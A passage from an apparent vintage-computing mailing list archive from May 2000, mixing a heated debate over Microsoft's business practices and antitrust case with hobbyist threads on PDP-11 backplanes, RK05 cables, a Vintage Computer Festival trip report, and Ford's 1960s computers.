OSes. MS used OS license agreements to kill off competing applications through preinstalled software exclusive agreements, and flat rate pricing structures (you pay a license fee on every system you sell whether it has MS OS on it or not). MS used ad boycotts to kill any magazine with negative reviews. MS used coertion and retaliation to make other companies toe the same line. This is especially true now where nobody is willing to say word one in this trial for fear of what MS would do. Yes this has been a real help to consumers. Its classic vertical monopoly behavior any turn of the century muckraker would recognize, and that it is successfull should come as a surprize to no one. From CLASSICCMP at trailing-edge.com Sun May 7 07:33:32 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:37 2005 Subject: 11/83 backplane info needed Message-ID: <000507083332.202038ea@trailing-edge.com> >I got an 11/83 in a rack mountable box (5 1/4"), and I would like >to know how many of the slots are type A/B and type C/D, as I have >a spare 11/83 cpu and a spare 1Mb mem. board, and they are >of the types AB & C/D. > >The backplane is identified as H9278-A and has 8 slots. First clue: for just about anything Q-bus, you can find the answer in the Micronotes. They're online at http://metalab.unc.edu/pub/academic/computer-science/history/pdp-11/ just click on "Micronotes". What you're looking for is specifically in Micronte #5, _Q22 Compatible Options_. It tells you Micro/PDP-11 H9278 4 X 3 Q22/CD and 4 X 5 Q22/Q22 Backplane In other words, just the standard BA23 backplane, the first 3 slots are AB/CD slots, the remaining 5 are AB/AB in a serpentine pattern. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From lemay at cs.umn.edu Sun May 7 07:50:01 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:37 2005 Subject: RK05 cable Message-ID: <200005071250.HAA04561@caesar.cs.umn.edu> Someone mentioned that the cable for connecting a RK05 to a PDP 8/E is different than the one for a PDP 11/45. Is this correct, and if so does anyone know the DEC name and part numbers for the cable that is used with a PDP 8/E? -Lawrence LeMay From jpero at cgocable.net Sun May 7 04:43:28 2000 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005070753.DAA29771@armigeron.com> References: <001501bfb7e1$a18a8e40$0400c0a8@winbook> from "Richard Erlacher" at May 06, 2000 11:03:48 PM Message-ID: <200005071338.e47DcMr29099@admin.cgocable.net> > From: "Sean 'Captain Napalm' Conner" > Subject: Re: I wrote 'Nuke Redmond' > To: classiccmp@classiccmp.org > Date: Sun, 7 May 2000 03:53:02 -0400 (EDT) > Reply-to: classiccmp@classiccmp.org > It was thus said that the Great Richard Erlacher once stated: > > > > > Like Allison's comments about user space kept away from OSes and this > > > limits the blowups if a typical user make an miss is spot on. > > > > > I've never experienced this before, but I'm having difficulty parsing this > > sentence. > > Basically it means that as a user, if I try to delete the entire > filesystem it won't work. I, as a user, don't have the priviledges to > delete any old file---if I own them, yes, I can do what I please. But > system wide files? Nope. Can't do. Need administrative privs to delete > any arbitrary file. What I was thinking of is a untoucheable and invisible OS and for managing data is data users created only. Applications and any little utils, drivers and hardware all are seen as "modules". Drivers and hardware go hand in hand and is therefore as hardware module set. For applications and small utils, they would be software modules. The user interface would be two sets of fancy "fuseboxes", each "fuse" is module for applications have very simple but understandable items like button that glows when on software startup, turn off certain features and/or disable that module by turning off the master button that is glowing to go out. To remove the application, a user would grab n' pull the certain application module out of it's socket (snick sound) and drop it in trash (noise trashcan makes when something thrown in) but the user-created data remains. Adding applications and any certain stuff software in nature come in form of a module(s) that you drag it from a install cdrom to the empty socket "application fusebox" with audiable click. Rearranging the startup enabled modules by physically rearrange the modules by their order. To launch applications, is by the run buttons, to end it, press it again it audibly starts, the button go dark with sound of running down. There should be two levels of user expertises: single mode or run multiple applications. If a application takes so long to run should show progress line extending, no numbers. Processing heavily, should show "hmmm". Same idea for hardware modules and "fusebox" with few features in each module for each hardware. Finally, to pull the hardware, user either pull the hardware itself and the modules simply diappears. Plug that hardware (it incidently has own drivers suite built in), module appears. USB's feature is very close to this mark but this is utterly spoiled by asking for a driver and still too complex and not in form of user interface I described. Note, the physical appearance should reflect what it should look like they have used everyday in their lives that make no mistaking what it is and use it. Not icons and text, each module has a name on it. Think of the myst and riven interfaces especially the buttons that lights and reconigizable info status. Snip! What I described would work with vast majority of users with flashing "12:00" vcrs even my mom would understand and use it in a flash. Apple's new stuff is not up to what I just described. I-opener concept is very close to that mark. M$ stuff is too complex and too confusingly, bad wordings and maze-like. Also, no menu! Basic functions that get used heavily comes in form of few buttons in a row. To use more complex features and to access features, use function commands via keyboard and a manual. People can learn by rote by using it again and again thereby the manual get used less and less with time. Too much time is wasted picking out menus with mouse. Should consider the mouse as minor part just for buttons, selecting lines or items, adjust something. > -spc (One running on a diskless machine) Wizard From jpl15 at netcom.com Sun May 7 11:47:53 2000 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:52:37 2005 Subject: FREE! Siemens TTY and converter (fwd) Message-ID: This might be of some interest to European Classiccmpers... respond directly to the original poster, and it looks like you will have to arrange shipping, but hey, it's free... Maybe someone in the Tennessee area can cache it..? ---------- Forwarded message ---------- Date: Sun, 07 May 2000 10:32:11 -0500 From: Tom Norris To: greenkeys@qth.net Cc: boatanchors@theporch.com, BASWAPLIST@foothill.net Subject: FREE! Siemens TTY and converter FREE FREE FREE Siemens T100 ( ASR ) teleprinter, several rolls of punch tape Siemens FSE-1306 converter with full spares kit including spare tubes and CRT. Both items refurbished 1987, both look like new. There may be some literature, most likely just an ops manual on one or both. Currently mounted in my ex-Bundeswehr radio truck, and I need the stuff out of the way to redo the truck for Field Day use. Photo at http://www.telalink.net/~badger/tty_dec.jpg After a week, they go to the trash, I hate to trash the stuff but am absolutely running out of room and the gear needs 220VAC 50Hz, which I don't have. ( no BA guys, the tubes and good parts stay with me, I have not got totally bonkers ) Is in Manchester, TN are, near Nashville. No shipping, sorry. Tom Norris KA4RKT From vaxman at uswest.net Sun May 7 09:43:51 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005071338.e47DcMr29099@admin.cgocable.net> Message-ID: On Sun, 7 May 2000 jpero@cgocable.net wrote: > button that is glowing to go out. To remove the application, a user > would grab n' pull the certain application module out of it's socket > (snick sound) Sound of an RL02 spinning down :) > and drop it in trash (noise trashcan makes when > something thrown in) Sound of a PC hitting the pavement from 50 feet :) clint From dastar at siconic.com Sun May 7 14:03:14 2000 From: dastar at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:38 2005 Subject: VCF Munich! Message-ID: <200005071803.LAA04452@siconic.com> I just returned home from my voyage to Munich for the VCF 1.0e and I am happy to report that it went rather well, in fact as well as expected. A little over 100 people came through over the course of the weekend. There were some great exhibits, including a complete VAX 11/850 setup and running, an Atari 1450XLD (only a few of these exist), some rare East German microcomputers, and even an Inca Quipu! We somehow managed to execute the Nerd Trivia Challenge despite numerous technical challenges. Our own Philip Belben took 2nd place. Congratulations, Phil! After the event was over, Hans, Philip and myself went on a three day whirlwind tour around Germany. Three days couped up in a car with a wacky Bavarian is more torture than anyone should ever be subjected to, but Philip and I managed to make it through the ordeal without too many psychological scars (I enter long term counseling tomorrow). Of course you may get slightly differing opinions from Philip but pay him no mind ;) Somehow we didn't find time to visit the Deutches Museum in Munich to see the Siemens 2002 (worlds first transistorized computer) but we did make it to the Technik Museum in Berlin and saw many fine Zuse machines, including a replica of the Z1 and a Z23, along with some other special purpose machines. It was a fantastic exhibit. I got digital photos of the machines and will be posting them to the VCF website shortly (I'll announce when they are up). We then made it over to the Heinz Nixdorf Museum in Paderborn and I must say I am impressed! What an excellent place. They had excellent exhibits starting with humankind's earliest attempts at writing and counting and worked up through various stages of technological innovation to the computers. There were all sorts of excellent machines on exhibit but we weren't allowed to take any photos :( The place was crawling with spooks ready to give you a sound drubbing if even the thought of taking a picture crossed your mind. Always the rebel I did manage to snap a picture of one of the exhibits anyway. Nyah. Anyway, highly recommended. We bought some good books, including an autobiography of Konrad Zuse which I had the pleasure of reading on the long flight back. What an amazing story! We also scored some prints of Zuse's, one of which was even signed by him when he visited the museum before he passed away. I spent the last two days in Oxford, England, where I delivered two talks on computer collecting. I was able to meet our own John Honiball there as well as pick up several good books from a used book store. I didn't have time to search for any old computers but I did make contact with a Physics professor there at Oxford who has in his own collection several of the DEC machines the university has discarded over the years, including a PDP-8 (i.e. "straight 8"). He said he knows of some DEC machines (an 11/23 was specifically mentioned) that are to be discarded soon so if anyone has any interested in making contact with him (I'm sure he'll be a continued source of good stuff) then contact me privately and I'll pass on his contact information. I also managed to find some neat-o stuff in Munich at a flea market we went to before the VCF. I got an Atari 520ST+ (only because I don't have a '+' model), a Sharp PC-1500 with expansion chassis and case, and a Siemens teletext terminal that was used in Germany throughout the 80s (similar to the French Minitel or the English Prestel systems). Now that VCF 1.0e is a part of history, I will start ramping up production for VCF 4.0. My interest in producing an East Coast USA event is also growing, and I will be contacting those who have offered assistance in the coming weeks to determine if a summertime event would be feasible. As well, if there is anyone in the New England region who would like to assist then please contact me privately. Thanks to everyone who helped with VCF 1.0e, and of course extra- special thanks go to Hans Franke for making it a reality. I also thank him for teaching me some particularly juicy German. As my reportoire of languages grows I will soon be able to insult and offend people the world over! Pictures of VCF 1.0e will be posted to the VCF website soon. Stay tuned for details. We'll see you all at the next VCF! Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... VCF Europe: April 29th & 30th, Munich, Germany VCF Los Angeles: Summer 2000 (*TENTATIVE*) VCF East: Planning in Progress See http://www.vintage.org for details! From edick at idcomm.com Sun May 7 13:43:35 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' References: <013801bfb7da$1d640170$7464c0d0@ajp166> Message-ID: <004201bfb854$5672f000$0400c0a8@winbook> See my remarks below, plz. Dick ----- Original Message ----- From: Mike Ford To: Sent: Sunday, May 07, 2000 4:43 AM Subject: Re: I wrote 'Nuke Redmond' > The working points to tick off are; > > MS used the profits from OS sales to subsidize the operations of groups > competing against the applications of other companies, giving away products > if nescessary to force the other company out of business. > There's nothing illegal, immoral, or fattening about these. Perhaps there should be limits, but there aren't, hence everybody (except MS) can do it with no fear of legal recourse. > > MS used OS incompatibilities to kill off competing applications. > Incompatibilities of what sort? Isn't that simply a business decision? Have you and examples? > > MS used applications incompatibilies to kill off competing OSes. > That CERTAINLY is a valid business/marketing decision. > > MS used OS license agreements to kill off competing applications through > preinstalled software exclusive agreements, and flat rate pricing > structures (you pay a license fee on every system you sell whether it has > MS OS on it or not). > MS isn't alone in pursuing this practice. > > MS used ad boycotts to kill any magazine with negative reviews. > That's one of the risks a magazine editor has to take into consideration in making the decision to publish an item or not. It's just like advertising the fact that Wal-Mart jeans are built by Chinese prisoners, or that certain lines of clothing carried by J.C. Penney are made in sweatshops. > > MS used coertion and retaliation to make other companies toe the same line. > This is especially true now where nobody is willing to say word one in this > trial for fear of what MS would do. > Oh, there's a lot being said, but little of it's true or relevant. What's more, the legal beagles aren't "up" enough on what the concepts and verbage they're tossing around means. > > Yes this has been a real help to consumers. Its classic vertical monopoly > behavior any turn of the century muckraker would recognize, and that it is > successfull should come as a surprize to no one. > Well, we may get to see whether the courts come up with a prudent and reasonable solution. The obvious solution to break up MS won't help, but it will serve to octuple the cost of both software and hardware. It will set back the industry a decade as it tries to find a substitute for MS in a market where really only one OS and Office automation suite is going to be effective. If you don't see that through your haze of rage at Microsoft for doing something you weren't smart enough or diligent enough to do yourself, then perhaps you can come up with a potential successor OS to WIndows. Remember, though, that if MS simply closed its doors tomorrow, it wouldn't harm MS as much as it would harm the end user. What I'd look for is a small company with fewer than a dozen employees, since more employees would make the company to ponderous and intert to keep up, to invent a non-Windows OS with a GUI that won't get them sued, and integrate their own office automation software with that. Once that's done, they should, if they're smart, sell out to some biggie, e.g. COMPAQ or IBM, since only a BIG organization has the resources to mackage, market, publish, and support a product of that magnitude. > From edick at idcomm.com Sun May 7 13:48:20 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' References: <001501bfb7e1$a18a8e40$0400c0a8@winbook> from "Richard Erlacher" at May 06, 2000 11:03:48 PM <200005071338.e47DcMr29099@admin.cgocable.net> Message-ID: <004b01bfb854$ffac2a60$0400c0a8@winbook> That would be a WONDERFUL idea ... an OS distributed on ROM. I trust you'll start on that immediately. Dick ----- Original Message ----- From: To: Sent: Sunday, May 07, 2000 3:43 AM Subject: Re: I wrote 'Nuke Redmond' > > From: "Sean 'Captain Napalm' Conner" > > Subject: Re: I wrote 'Nuke Redmond' > > To: classiccmp@classiccmp.org > > Date: Sun, 7 May 2000 03:53:02 -0400 (EDT) > > Reply-to: classiccmp@classiccmp.org > > > It was thus said that the Great Richard Erlacher once stated: > > > > > > > Like Allison's comments about user space kept away from OSes and this > > > > limits the blowups if a typical user make an miss is spot on. > > > > > > > I've never experienced this before, but I'm having difficulty parsing this > > > sentence. > > > > Basically it means that as a user, if I try to delete the entire > > filesystem it won't work. I, as a user, don't have the priviledges to > > delete any old file---if I own them, yes, I can do what I please. But > > system wide files? Nope. Can't do. Need administrative privs to delete > > any arbitrary file. > > What I was thinking of is a untoucheable and invisible OS and for > managing data is data users created only. Applications and any > little utils, drivers and hardware all are seen as "modules". > Drivers and hardware go hand in hand and is therefore as hardware > module set. For applications and small utils, they would be > software modules. > > The user interface would be two sets of fancy "fuseboxes", each > "fuse" is module for applications have very simple but understandable > items like button that glows when on software startup, turn off > certain features and/or disable that module by turning off the master > button that is glowing to go out. To remove the application, a user > would grab n' pull the certain application module out of it's socket > (snick sound) and drop it in trash (noise trashcan makes when > something thrown in) but the user-created data remains. Adding > applications and any certain stuff software in nature come in form of > a module(s) that you drag it from a install cdrom to the empty socket > "application fusebox" with audiable click. Rearranging the startup > enabled modules by physically rearrange the modules by their order. > > To launch applications, is by the run buttons, to end it, press it > again it audibly starts, the button go dark with sound of running > down. There should be two levels of user expertises: single mode or > run multiple applications. If a application takes so long to run > should show progress line extending, no numbers. Processing > heavily, should show "hmmm". > > Same idea for hardware modules and "fusebox" with few features in > each module for each hardware. Finally, to pull the hardware, user > either pull the hardware itself and the modules simply diappears. > Plug that hardware (it incidently has own drivers suite built in), > module appears. USB's feature is very close to this mark but this is > utterly spoiled by asking for a driver and still too complex and not > in form of user interface I described. > > Note, the physical appearance should reflect what it > should look like they have used everyday in their lives that make no > mistaking what it is and use it. Not icons and text, each module has > a name on it. > > Think of the myst and riven interfaces especially the buttons that > lights and reconigizable info status. > WHAT?? > > Snip! > > What I described would work with vast majority of users with > flashing "12:00" vcrs even my mom would understand and use it in a > flash. Apple's new stuff is not up to what I just described. > I-opener concept is very close to that mark. M$ stuff is too complex > and too confusingly, bad wordings and maze-like. > > Also, no menu! Basic functions that get used heavily comes in form > of few buttons in a row. To use more complex features and to access > features, use function commands via keyboard and a manual. People > can learn by rote by using it again and again thereby the manual get > used less and less with time. Too much time is wasted picking out > menus with mouse. Should consider the mouse as minor part just for > buttons, selecting lines or items, adjust something. > > > -spc (One running on a diskless machine) > > Wizard > From edick at idcomm.com Sun May 7 13:05:34 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' References: from "Mike Ford" at May06, 2000 07:44:29 PM Message-ID: <003501bfb84f$04a4ce60$0400c0a8@winbook> That's a logical corollary to Gresham's Law. Dick ----- Original Message ----- From: Mike Ford To: Sent: Sunday, May 07, 2000 3:48 AM Subject: Re: I wrote 'Nuke Redmond' > > For more on this, read The Rise of ``Worse is Better'' by Richard Gabriel. > >You can find it at http://www.jwz.org/doc/worse-is-better.html > > Interesting ideas. > > From edick at idcomm.com Sun May 7 13:03:31 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' References: <200005070800.EAA29900@armigeron.com> Message-ID: <003401bfb84e$bd245ce0$0400c0a8@winbook> It's Billy's job to be ruthless. He's managing the finances of a very large enterprise, and has responsibilities to his stockholders, employees, OEM customers, end-users, and vendors. I'd say he's successful because he and his staff, many of whom he picked out personally, are extremely well-focused. Dick ----- Original Message ----- From: Sean 'Captain Napalm' Conner To: Sent: Sunday, May 07, 2000 2:00 AM Subject: Re: I wrote 'Nuke Redmond' > It was thus said that the Great Bill Dawson once stated: > > > > And while I'm on the soapbox, I'll state the obvious. Bill Gates is a > > shrewd thief and an accomplished liar. About the only original product MS > > ever had was BASIC. IBM screwed Digital Research with the pricing of CP/M > > for the PC. Gates was no small part of this. > > How? Bill Gates just licenced MS-DOS to IBM for a cheaper price than DR > did CP/M. I can't see Bill Gates saying to IBM, ``If you don't charge more > for CP/M than for MS-DOS, we'll walk.'' Bill Gates is ruthless but not > stupid. > > -spc (Not that I'm trying to defend him or anything ... ) > > > From edick at idcomm.com Sun May 7 12:54:19 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' References: <200005070753.DAA29771@armigeron.com> Message-ID: <002601bfb84d$74277a00$0400c0a8@winbook> Well, you can't have it both ways. If you are one of the many who've complained that "it won't let me ..." or "why does it demand multiple confirmations when I just want to delete . . ." you certainly don't want a system that has MORE checks than the current generation, do you? Dick ----- Original Message ----- From: Sean 'Captain Napalm' Conner To: Sent: Sunday, May 07, 2000 1:53 AM Subject: Re: I wrote 'Nuke Redmond' > It was thus said that the Great Richard Erlacher once stated: > > > > > Like Allison's comments about user space kept away from OSes and this > > > limits the blowups if a typical user make an miss is spot on. > > > > > I've never experienced this before, but I'm having difficulty parsing this > > sentence. > > Basically it means that as a user, if I try to delete the entire > filesystem it won't work. I, as a user, don't have the priviledges to > delete any old file---if I own them, yes, I can do what I please. But > system wide files? Nope. Can't do. Need administrative privs to delete > any arbitrary file. > > I'm of two minds on this---I can see having administrative accounts and I > can see not having them. It really depends upon how centralized you want > your system(s) set up. > > > Nevertheless, I'd say the the UNIX and others of that > > ilk were designed for use by and for nerds, from the standpoint that > > producing software is useful work. That's only true if you're a software > > vendor. If you're in the business of selling tires, or of making them, > > generating software is overhead that you'd like to avoid. > > There have been embeded systems based upon UNIX. I know that Taco Bell > used to use SCO UNIX in each store to run the cash registers and manage the > money/inventory of the store. The SCO boxes at Taco Bell don't have > development systems on them---there is no need as embedded systems. > > > Maybe Windows isn't for you. I use it because it's hard not to. I have > > half a dozen LINUX versions none of which has been left installed for more > > than a day or two, and they wouldn't meet my needs. Likewise, I've not > > gotten a comfortable feeling with SCO, UnixWare, etc. for the '386 and up > > types. > > Different users, different needs. Personally I've been able to use Linux > to save what otherwise would have been thrown-away PCs (one is even running > my personal website). > > -spc (One running on a diskless machine) > From edick at idcomm.com Sun May 7 12:48:12 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' References: <200005070402.AAA24938@armigeron.com> <00c601bfb7eb$3f22b520$9d9fb2d1@Smith.earthlink.net> Message-ID: <001301bfb84c$99c1bf60$0400c0a8@winbook> Almost on the mark, but see my remarks below. Dick ----- Original Message ----- From: Wayne M. Smith To: Sent: Sunday, May 07, 2000 12:12 AM Subject: Re: I wrote 'Nuke Redmond' > > William Henry Gates, III was able to leverage any > advantage he had, and he > > did. > Yes, it's likely that Billy used his vast resources to push things right to the limits, . . . and then he LEANED as far as he could, having reach what he perceived to be the limits. > > Well leveraging, that's different. If you use your > monopoly power in one market (such as OS) to exclude > competition in another market (browser) then that's a > no-no. Perhaps that's what Richard intended. > All the talk about the browser market is a red herring. Internet Explorer was never a product separate from Windows. It was a part of the OS utility package called PLUS!. In Win98, it was integrated into the OS becauseit was the tool for viewing the help files, among other things. Internet Explorer always was a part of the Windows 9x package. Netscape, OTOH, was a commercial product intended for sale, but initially offered gratis to individual users. HOWEVER . . . they did have to purchase the WINSOCK from a third party, i.e. Trumpet, in most cases. This was never the case with Internet explorer. Only after Internet Explorer became as popular as it did under '95 did Microsoft release the "made for WIndows 3.1x" version, also at no charge, but complete with its own WINSOCK and the 32-bit runtime libraries it needed for operation under the 16-bit OS. In the meantime, IBM had acquired LOTUS, primarily in order to take over the Lotus Notes program. With the spread of Netscape, people found that Netscape would replace Lotus Notes quite easily, hence IBM quickly acquired them, only to distance themselves from it later, in order to APPEAR to be an outsider to the conflict which I'm quite certain they actually scripted, and which is now being played out in the courts. Unfortunately, there does appear to be evidence that MS overreached its rightful position in the industry, giving their applications developers an advantage by giving them information they didn't publish as part of the standard API. That was an anticompetitive act, and should be reversed in some way. Many people think that lobotomizing MS would help the industry. I am not among them, however, because, at least for now, MS is the only organization capable of mustering the talent and resources to generate application software that pretty much functions as it should within the framework of this extremely complex OS. Even if someone else could do it, which I seriously doubt, it's unlikely anyone can come up with an OS capable of competing against Windows, if the same tests are to be applied that have been used to determine MS' practices monopolistic or anticompetitive. If the complete source code for Windows is to be mandated by the courts to be made available to anyone who wishes to write applications for Windows, MS is correct in demanding that the code be released only to companies who, including all their employees as individuals, be barred for a period of, say, ten years, from participating in the production of any operating system which might be used as a competitor to Microsoft's OS products, including the drivers, utilities, or ancillary programs, e.g. a browser. If they're to "fix" this thing in a permanent way, then they will have to legislate a solution which would require that no person involved in the development of any major software product be permitted to communicate with anyone else, not his/her spouse, offspring, superiors or subordinates, except in permanently recorded written form for a period not less than five years beyond the end of the economic life of that product. I doubt that will happen. From edick at idcomm.com Sun May 7 12:59:39 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' References: <200005070757.DAA29788@armigeron.com> Message-ID: <002c01bfb84e$32d2d120$0400c0a8@winbook> That, sir, is my point, quite precisely put. I'm for defining a system the primary goal of which is to accomplish eful work as easily as possible. Software development is a task for systems tailored for software development, and they don't do "useful work" as easily (for the people who normally do it) as a system optimized for "useful work." More below: Dick ----- Original Message ----- From: Sean 'Captain Napalm' Conner To: Sent: Sunday, May 07, 2000 1:57 AM Subject: Re: I wrote 'Nuke Redmond' > It was thus said that the Great Richard Erlacher once stated: > > > > > This is the sickest aspect of the whole computer industry, ALL of the > > > companies that made fairly good reliable products went under from the > > flood > > > of dollars the BAD heavily marketed software generated via updates. > > > > > Well, I wish a few more of them would go. I can't imagine what companies, > > now defunct, produced this set of "fairly good reliable products " have gone > > down the toilet because they were outspent or outmarketed by MS. An example > > or two would be nice. > > Borland? Oh that's right, you don't do software development. Umm ... > Yes, but as you've pointed out already, that case is ground-ruled out of this discussion. I have used their products too, in fact since their CP/M-based Turbo Pascal, and miss the no-nonsense approach they seem to have taken with respect to almost everything they did. > > -spc (Hey, at least that's one ... ) > From ard at p850ug1.demon.co.uk Sun May 7 13:22:36 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:38 2005 Subject: RK05 cable In-Reply-To: <200005071250.HAA04561@caesar.cs.umn.edu> from "Lawrence LeMay" at May 7, 0 07:50:01 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 921 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000507/a4fb6007/attachment-0001.ksh From ard at p850ug1.demon.co.uk Sun May 7 13:02:47 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:38 2005 Subject: value of RK05 In-Reply-To: from "Mike Ford" at May 6, 0 07:30:49 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 924 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000507/ef3cf5a5/attachment-0001.ksh From ard at p850ug1.demon.co.uk Sun May 7 13:14:08 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:38 2005 Subject: value of RK05 In-Reply-To: <001e01bfb7e9$cd7dcd20$a5e3dfd0@cobweb.net> from "Bill Dawson" at May 7, 0 02:02:19 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2690 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000507/37331660/attachment-0001.ksh From wilson at dbit.dbit.com Sun May 7 14:47:19 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:38 2005 Subject: RK05 cable Message-ID: <200005071947.PAA03659@dbit.dbit.com> On Sun, May 07, 2000 at 07:50:01AM -0500, Lawrence LeMay wrote: > Someone mentioned that the cable for connecting a RK05 to a PDP 8/E > is different than the one for a PDP 11/45. Is this correct, and if > so does anyone know the DEC name and part numbers for the cable > that is used with a PDP 8/E? I *think* the paddle card is M993, but could be wrong. The entire assembly including the ribbon cables (which connect to the paddle board using soldered IDC endings rather than the usual Berg connectors) has another #, 54-class I think????? IIRC the reason it's different (besides the fact that the RK8E plugs into regular Omnibus slots and wouldn't be able to dedicate a backplane slot to the Unibus style cable that the RK11D uses) is that the RK8E uses the old individual drive select lines (for four drives max), not the new encoded drive selects (for eight drives). Could be remembering wrong though. Anyway this only matters between the controller and the first drive, after that you can connect the other drives using Unibus cables. John Wilson D Bit From kyrrin at bluefeathertech.com Sun May 7 15:45:15 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:38 2005 Subject: MVME Docs/Data Needed Message-ID: <3915736B.9765.183FCBBA@localhost> Hi, folks, Got some good ones here. Recent acquisition activity has netted me a nice Motorola MVME945B chassis stuffed full of cards. Any docs or data I can get on said chassis would be most welcome. Jumper diagrams are what I need the most. In addition, I have some boards here that I don't recognize, including: MVME372A (three of 'em). MVME333-2 (one) I seem to recall, from my field service days at Motorola, that the big 'M' published a field engineer's guide that showed specs and jumper assignments for the entire MVME line. Perhaps I can snare one of these? Thanks in advance. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From jrkeys at concentric.net Sun May 7 16:05:27 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:52:38 2005 Subject: Great week Message-ID: <002f01bfb867$f948bfe0$0d711fd1@default> This has been one of those dream weekends, all week I did not pick a thing and then starting Friday night it was wild. I was at a callers house to pick up some items and got there at 6:30pm and left at 11pm with many items still left there. My van was full even in the front seat. I got alot of early colorcomputer stuff; manuals, tons of software, 3 systems. I got NeXt software and manuals brand new unopened boxes, same for Mac software and manuals. This guy had many items that he had been collecting over the years. Saturday I went to a police auction and got several notebooks, complete systems, parts, manuals it was great. I will be putting out a better list as I go through the items. I hope everyone had a good computer hunting weekend. John -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000507/fb00fd9c/attachment-0001.html From pbboy at mindspring.com Sun May 7 17:13:14 2000 From: pbboy at mindspring.com (Robert) Date: Sun Feb 27 18:52:38 2005 Subject: Ford's '60s computer? Message-ID: <3915EA7A.B324823@mindspring.com> Does anyone know what computer Ford Motor Company used in the 1960's? I've read that Shelby used a computer to find the proper location for, among other things, the upper control arm on the '65 Mustang for his GT350 and used one to help design most, if not all, of his other creations' critical parts. I've searched IBM (must've been IBM!) and Ford and came up with nothing. Although IBM's timeline has the 608 ('57, calculator),1401 ('59), Stretch ('61), SABRE ('62) and the System/360 ('64), they don't give detailed descriptions. I don't know what the others are, but I've read a bit on the 360. I'm willing to bet it was the 360, but I'm not sure how often a company would buy a computer considering the price of the computers then. But considering the severe race competition between the Big Three (and the world), in that era, I'd imagine they'd pay almost anything to gain any edge over the competition (Win on Sunday, Sell on Monday). Anyone know for sure? Did Ford use any other computers before then? What about other car manufacturers? From mark at cs.ualberta.ca Sun May 7 17:29:49 2000 From: mark at cs.ualberta.ca (Mark Green) Date: Sun Feb 27 18:52:38 2005 Subject: Ford's '60s computer? In-Reply-To: <3915EA7A.B324823@mindspring.com> from Robert at "May 7, 2000 06:13:14 pm" Message-ID: <20000507222951Z433055-10297+159@scapa.cs.ualberta.ca> > Does anyone know what computer Ford Motor Company used in the 1960's? > I don't know what they were using in the 60's, but I worked for them in the early 70's. If I recall correctly, the assembly plants ran on Honeywell computers, and the main facilities used IBM 360s. Sometime around 1973 the 360s were replaced by 370s. This was on the data processing side of the company, the design and research departments used different facilities. -- Dr. Mark Green mark@cs.ualberta.ca Professor (780) 492-4584 Director, Research Institute for Multimedia Systems (RIMS) Department of Computing Science (780) 492-1071 (FAX) University of Alberta, Edmonton, Alberta, T6G 2H1, Canada From ard at p850ug1.demon.co.uk Sun May 7 16:02:34 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:38 2005 Subject: RK05 cable In-Reply-To: <200005071947.PAA03659@dbit.dbit.com> from "John Wilson" at May 7, 0 03:47:19 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1977 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000507/6a832a2f/attachment-0001.ksh From pechter at pechter.dyndns.org Sun May 7 18:03:25 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:38 2005 Subject: Ford's '60s computer? In-Reply-To: <20000507222951Z433055-10297+159@scapa.cs.ualberta.ca> from Mark Green at "May 7, 2000 04:29:49 pm" Message-ID: <200005072303.TAA09309@bg-tc-ppp36.monmouth.com> > > Does anyone know what computer Ford Motor Company used in the 1960's? > > > > I don't know what they were using in the 60's, but I worked > for them in the early 70's. If I recall correctly, the assembly > plants ran on Honeywell computers, and the main facilities used > IBM 360s. Sometime around 1973 the 360s were 